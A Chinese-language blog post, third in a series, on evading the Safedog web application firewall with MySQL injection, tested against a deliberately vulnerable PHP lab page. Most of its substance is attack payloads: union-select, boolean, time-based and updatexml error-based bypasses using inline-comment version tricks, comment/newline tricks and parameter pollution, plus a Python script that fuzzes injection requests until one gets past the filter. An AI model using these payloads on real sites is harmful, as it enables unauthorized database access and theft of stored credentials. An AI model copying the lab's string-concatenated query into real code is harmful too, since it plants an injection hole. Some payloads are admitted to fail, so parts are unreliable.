SQL注入及bypass思路(3)安全狗safedog

联合注入过狗

其实我们过这些waf就是进行正则的绕过,因为这种通用型的waf,需要考虑到用户体验,它不能出现什么东西就直接进行拦截。如果绕过我们需要具备对mysql各个函数,语法,特性的熟悉,然后通过不断的fuzz来测试出我们想要的payload

每个狗的版本不同,它的正则也是不同的,所以有的payload在最新版可以用,在老版本就可能用不上,当你的知识量有一定积累后,绕过waf或许就很简单

如何快速地提升自己的这些知识,多看文章,多看官方手册

实验环境

windows10 phpstudy2018 安全狗v4.023137

注意这里安全狗的版本跟原文中不一致

test.php代码跟之前一样

<?php
	if($_GET['id']){
		$id= $_GET['id'];
		$conn = mysql_connect('127.0.0.1','root','root');
		mysql_select_db('sqlvul',$conn);
		$sql = "select * from user where id=$id";
		$result = mysql_query($sql);
		while($row = mysql_fetch_array($result)){
			echo "id: ".$row['id']."</br>";
			echo "username: ".$row['username']."</br>";
			echo "password: ".$row['password']."</br>";
		}
		mysql_close($conn);
		echo "</br>"."sql :".$sql;
	}else{
		echo "id,get,懂?";
	}
	
?>

探索 and

我们首先来探索简单的语句 and 1=1

http://127.0.0.1/test.php?id=1%20and%201=1

简单变形

and 1 拦截
and '1' 拦截
and a 不拦截
and 'a' 拦截
and ! 拦截
and 1+1 拦截
and 1+a 拦截
and hex(1) 拦截
and ord("a") 不拦截

我们有两个思路:

  • 用其他字符替换 and 或者 or
  • 带入的不是字符串和数字型,带入特殊字符或者特殊函数

针对第一种我们可以看看运算符号,随便找到几个

| ^ xor & / * && ||等等

mysql> select '1'|1;
+-------+
| '1'|1 |
+-------+
|     1 |
+-------+
1 row in set (0.03 sec)

mysql> select '1'&1;
+-------+
| '1'&1 |
+-------+
|     1 |
+-------+
1 row in set (0.00 sec)

mysql> select '1'^1;
+-------+
| '1'^1 |
+-------+
|     0 |
+-------+
1 row in set (0.00 sec)

这里简单使用与,或,异或组合结果,从此处出发我们通过运算符来改变ID的值,查看页面是否变化,进而注入

mysql> select * from user;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    4 | 3test     | 11       |
|    1 | 1test     | 11       |
|    3 | admin'111 | 11       |
|    5 | admin     | admin    |
+------+-----------+----------+
4 rows in set (0.00 sec)

mysql> select * from user where id='1'|2-- +';
    -> ;
+------+-----------+----------+
| id   | username  | password |
+------+-----------+----------+
|    3 | admin'111 | 11       |
+------+-----------+----------+
1 row in set (0.00 sec)

mysql> select * from user where id='1'|1-- +';
    -> ;
+------+----------+----------+
| id   | username | password |
+------+----------+----------+
|    1 | 1test    | 11       |
+------+----------+----------+
1 row in set (0.00 sec)

mysql自动转换和或运算组合得到了上述结果

不过经过测试上述方法已经失效了,同时&& true也失效了

直接硬刚and

修改了一下payload,发现这样是可以的

?id=1 and ord("a")-96
?id=1 and ord("a")-97

类似于and 1=1的效果,用来判断是否存在注入

原文中的

and ~1>1
and hex(1)>-1
and hex(1)>~1

也已经失效

探索 union select

内联注释绕过 这种方法经久不衰

union    不拦截
select   不拦截
union select 拦截
union 各种字符 select 拦截
union%20%a0select 拦截
union/*select*/ 不拦截

经过简单的测试,我们发现安全狗还是认识我们的注释符号,所以我们需要利用注释符号来绕过安全狗

我们主要使用的是 内联注释 /*!/*!*/

原文中的方式在该版本中都被拦截

http://192.168.59.129/Less-1/?id=1' union/*!/*!50000select*/ 1,2,3--+  
http://192.168.59.129/Less-1/?id=1' union/*!/*!5select*/ 1,2,3--+  

这里给出一个不被拦截的payload

/*!union/*/*/*%00select*/%201,2,3--+

下一篇博客会给出使用FUZZ和垃圾数据填充方式注入绕过waf的方法

原文中给出的payload当时不拦截的原因是因为50000是它的版本号,你多一位少一位语句是不能正常执行的,所以它放行了,我们可以使用burp来遍历这个值,得到我们想要的payload

这里bypass的核心在于版本号,然后你就感觉fuzz了千种姿势,但是核心还是这个

注释绕过

联想注释我们还知道有 -- #,那么它们可以利用吗,当然是肯定的,其实很久以前就有大佬发过这个语句

union %23%0aselect

因为%23是单行注释,而%0a是换行的url编码

但是这样已经被加入规则库了,我们在此基础上进行分析

union %23%0aselect 拦截
union %23select 拦截
union a%23 select 拦截
union all%23 select 拦截
union all%23%0a select 拦截
union %23%0aall select 拦截

原文中的payload都已经被拦截了

这里的思路是在基础payload上左右加字符fuzz过waf

在原文的基础上变形得到过waf payload,这里是内联注释加单行注释组合

union%20%23%0aall%20/!*select*/

-- 注释绕过

最初的姿势是-- %0a,当然已经被加入全国联保豪华午餐,我们继续在原payload的基础上进行变形

union all -- %0a select 拦截
union  -- ()%0a select 拦截
union  -- 1%0a select 拦截
union  -- hex()%0a select 拦截

原文中的payload一如既往被全部拦截了

我们继续在此基础上变形

union%20%20--%20/*#*/%0aord()%0a%20select

老生常谈hpp 被人遗忘的手法

前面说过/**/里面的内容安全狗基本不管了,那么我们用hpp参数污染来进行绕过,造成这个手法的原因是 web server对参数的解析问题,在php/apache中,它总解析最后一个id

?id=-1' /*&id='union select 1,user(),3 -- +*/

注入

既然绕过了union select,那么注入就简单了,首先来看个user(),因为该函数是被拦截的,所以我们需要简单的绕过

user()   拦截
user/**/() 拦截
user/**/(/**/) 拦截
hex(user/**/(/**/)) 拦截

cl4y师傅博客里的payload也已经被拦截

/*!USER/*!/*/**/*/()/**/

不过在本地mysql命令行上测试该payload无效,或许是我操作的问题

mysql> select /*!USER/*!/*/**/*/()/**/;
ERROR 1064 (42000): You have an error in your SQL syntax; check the manual that corresponds to your MySQL server version for the right syntax to use near '' at line 1

在原来的基础上进行变形,使用该payload

/*!USER*/(/*/**/)

mysql> select /*!USER*/(/*/**/);
+----------------+
| USER( )        |
+----------------+
| root@localhost |
+----------------+
1 row in set (0.00 sec)

其实就是一个不断fuzz的过程

接着就是爆库名,当然这个payload也被拦截了,这里就不再手动进行分析了,放在下一篇博客中进行绕过

union -- hex()%0a select 1,schema_name,3 from information_schema.schemata limit 1,1

接下来的流传都差不多了 关键点就是在于 from 后面这块 后面的我以这个 information_schema.schemata 为例展示几种思路可能有的不能过

`information_schema`.schemata 
`information_schema`.`schemata`
information_schema.`schemata`
(information_schema.schemata)
information_schema/**/.schemata

延时过狗

盲注过狗相对联合注入来说,感觉上是更简单,我们先来试试时间盲注,比布尔稍微灵活一些

if(1,1,1) 不拦截
a if(1,1,1) 不拦截
and if(1,1,1) 拦截
| if(1,1,1) 拦截
|| if(1,1,1) 拦截
&& if(1,1,1) 拦截
/*!and*/ if(1,1,1) 拦截
/*!11440and*/ if(1,1,1) 不拦截
andaif(1,1,1) 不拦截

通过上面的测试,我们其实可以很简单的看出来,它是拦截的xx if 这个语句,其中xx为 and 和 or 这两个词有点敏感,但是绕过还是可以的

通过上一章的测试语句,发现版本为 11440 的内联注释直接放行,后面也可以直接通过该方法注入,但我们这一章尝试不适用内联注释绕过

查阅乌云知识库发现一个小知识点 and!!!1=1,and后面可以接上奇数个特殊字符,包括但不限于! ~ & -,其他的我们还可以自己测试,根据此知识点构造payload

and!!!if((substr((select hex(user/**/(/*!*/))),1,1)>1),sleep/**/(/*!5*/),1)

不过好像这payload也不太好使

and!~!&&&&&~!!if(1,1,1)同样也会被拦截

布尔过狗

布尔注入过狗只能说是相当来说最简单的吧,因为可以不适用条件语句,少了一个绕过点

and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)='r' 拦截
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=r 拦截
and!!!substr((select unhex(hex(user/**/(/*!*/)))),1,1)=1 拦截

现在也已经加入套餐

另外我们可以尝试把 and 换成 &&

and substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
/*!and*/ substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
%26%26 substr((select hex(user/**/(/*!*/))),1,1)>1 拦截
/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1 拦截

当然这些也被拦截了,呕

fuzz一个可用payload

重新fuzz一个可用的bool payload

fuzz一个基础payload

/*!and*//*/**/1=1

结合这个payload

/*!%26%26*/ substr((select hex(user/**/(/*!*/))),1,1)>1

原来这个payload 的效果

组合重构

/*!and*//*/**/substr((select/*/**/hex(user/**/(/*!*/))),1,1)>1

依然被拦截,猜测是user()函数的原因,把之前过狗的user()函数拿来组合得到以下payload:

/*!and*//*/**/substr((select/*/**/hex(/*!USER*/(/*/**/))),1,1)>1

/*!and*//*/**/substr((select/*/**/hex(/*!USER*/(/*/**/))),1,1)>999

两组payload页面不同,达到了布尔注入的目的

探索报错

报错注入的绕过,感觉很少人提过,不少人绕过也有一定的误区吧,这里提一提

updatexml 不拦截
updatexml(1,2,3 不拦截
updatexml(1,2) 不拦截
updatexml(1,2,) 不拦截
updatexml(,2,1) 不拦截
updatexml(1,2,!) 拦截
updatexml(1,2,%) 不拦截
updatexml(,2,1,hex()) 拦截
and updatexml(1,2,3 不拦截
updatexml(1,2,3) 拦截
and updatexml(1,2,3) 拦截

这里的updatexml(1,2,%)与原文中不一样,没有被拦截

不过从上面的测试我们也大概知道了,它会判断updatexml的完整性,当里面按逗号分割出现3个字符时,就会拦截(虽然不知道为什么有%的没有被拦截),当然有个别特殊的字符串它没过滤

这样我们在括号里面做手脚的可能性很渺茫,那么我们还有什么办法呢,可以尝试把updatexml()函数分开,或者给 updatexml 加个外套

/*updatexml*/(1,1,1) 不拦截
/*!updatexml*/(1,1,1) 拦截
/*!5000updatexml*/(1,1,1) 不拦截
/*!11440updatexml*/(1,1,1) 不拦截

看来updatexml()函数我们已经绕过了(确实如此),需要前面加个运算符号了

and /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1)  拦截
or /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
/*!and*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
/*!%26%26*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
/*!||*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
/*!xor*/ /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
 | /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截
 xor /*!11440updatexml*/(1,(select hex(user/**/(/**/))),1) 拦截

看来都失效了,组合一下之前的过狗and,很容易得到

/*!and*//*/**//*!11440updatexml*/(1,1,1)

那么有没有什么可以包裹它的呢,其实我们查看mysql手册找到这么一个符号,开单引号 ASCII 96

1' and updatexml(1,(select hex(user/**/(/**/))),1)-- +

当然也失效了,不过我们可以学习一下脚本fuzz的思路

import requests
import urllib

for i in range(0,177):
    url = r"http://192.168.130.135/Less-1/?id=1%27%20xor%20{fuzz}updatexml{fuzz}(1,(select hex(user/**/(/**/))),1)--%20+".format(fuzz=urllib.quote(chr(i)))
    req = requests.get(url)
    if "F6F7" in req.text:
        print len(req.text),i,urllib.quote(chr(i))

遍历字符并一一请求页面,如果存在回显,则bypass成功

文末

脚本只是你的一个思路衍生

安全狗注入bypass的分析到这里就结束了,后面有空还会接着分析云锁,云盾,D盾,其实如果每个步骤都测试了的,相信很快就能写出自己的sql bypass safedog tamper

参考链接

posted @ 2021-03-07 00:29  春告鳥  阅读(1853)  评论(1编辑  收藏  举报